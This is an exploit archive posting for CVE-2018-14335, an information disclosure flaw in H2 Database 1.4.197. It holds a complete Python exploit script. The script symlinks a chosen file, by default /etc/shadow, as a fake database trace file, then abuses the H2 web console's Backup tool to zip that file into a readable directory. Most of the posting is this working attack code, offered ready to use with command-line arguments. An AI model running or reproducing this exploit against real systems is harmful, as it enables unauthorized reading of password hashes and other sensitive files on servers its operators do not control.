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H2 Database 1.4.197 Information Disclosure

H2 Database 1.4.197 Information Disclosure
Posted Jul 30, 2018
Authored by owodelta

H2 Database version 1.4.197 suffers from an information disclosure vulnerability.

tags | exploit, info disclosure
advisories | CVE-2018-14335
SHA-256 | 7841faedc6bfb56845db58f47690946b3a6272eac90086bb68a2620ab9cb2cc2

H2 Database 1.4.197 Information Disclosure

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# Exploit Title: H2 Database 1.4.197 - Information Disclosure
# Date: 2018-07-16
# Exploit Author: owodelta
# Vendor Homepage: www.h2database.com
# Software Link: http://www.h2database.com/html/download.html
# Version: all versions
# Tested on: Linux
# CVE : CVE-2018-14335

# Description: Insecure handling of permissions in the backup function allows
# attackers to read sensitive files (outside of their permissions) via a
# symlink to a fake database file.

# PS, thanks to HTB and our team FallenAngels

#!/usr/bin/python

import requests
import argparse
import os
import random

def cleanup(wdir):
cmd = "rm {}symlink.trace.db".format(wdir)
os.system(cmd)

def create_symlink(file, wdir):
cmd = "ln -s {0} {1}symlink.trace.db".format(file,wdir)
os.system(cmd)


def trigger_symlink(host, wdir):
outputName = str(random.randint(1000,10000))+".zip"
#get cookie
url = 'http://{}'.format(host)
r = requests.get(url)
path = r.text.split('href = ')[1].split(';')[0].replace("'","").replace('login.jsp','tools.do')
url = '{}/{}'.format(url,path)
payload = {
"tool":"Backup",
"args":"-file,"+wdir+outputName+",-dir,"+wdir}
#print url
requests.post(url,data=payload).text
print "File is zipped in: "+wdir+outputName

if __name__ == "__main__":
parser = argparse.ArgumentParser()
required = parser.add_argument_group('required arguments')
required.add_argument("-H",
"--host",
metavar='127.0.0.1:8082',
help="Target host",
required=True)
required.add_argument("-D",
"--dir",
metavar="/tmp/",
default="/tmp/",
help="Writable directory")
required.add_argument("-F",
"--file",
metavar="/etc/shadow",
default="/etc/shadow",
help="Desired file to read",)
args = parser.parse_args()

create_symlink(args.file,args.dir)
trigger_symlink(args.host,args.dir)
cleanup(args.dir)

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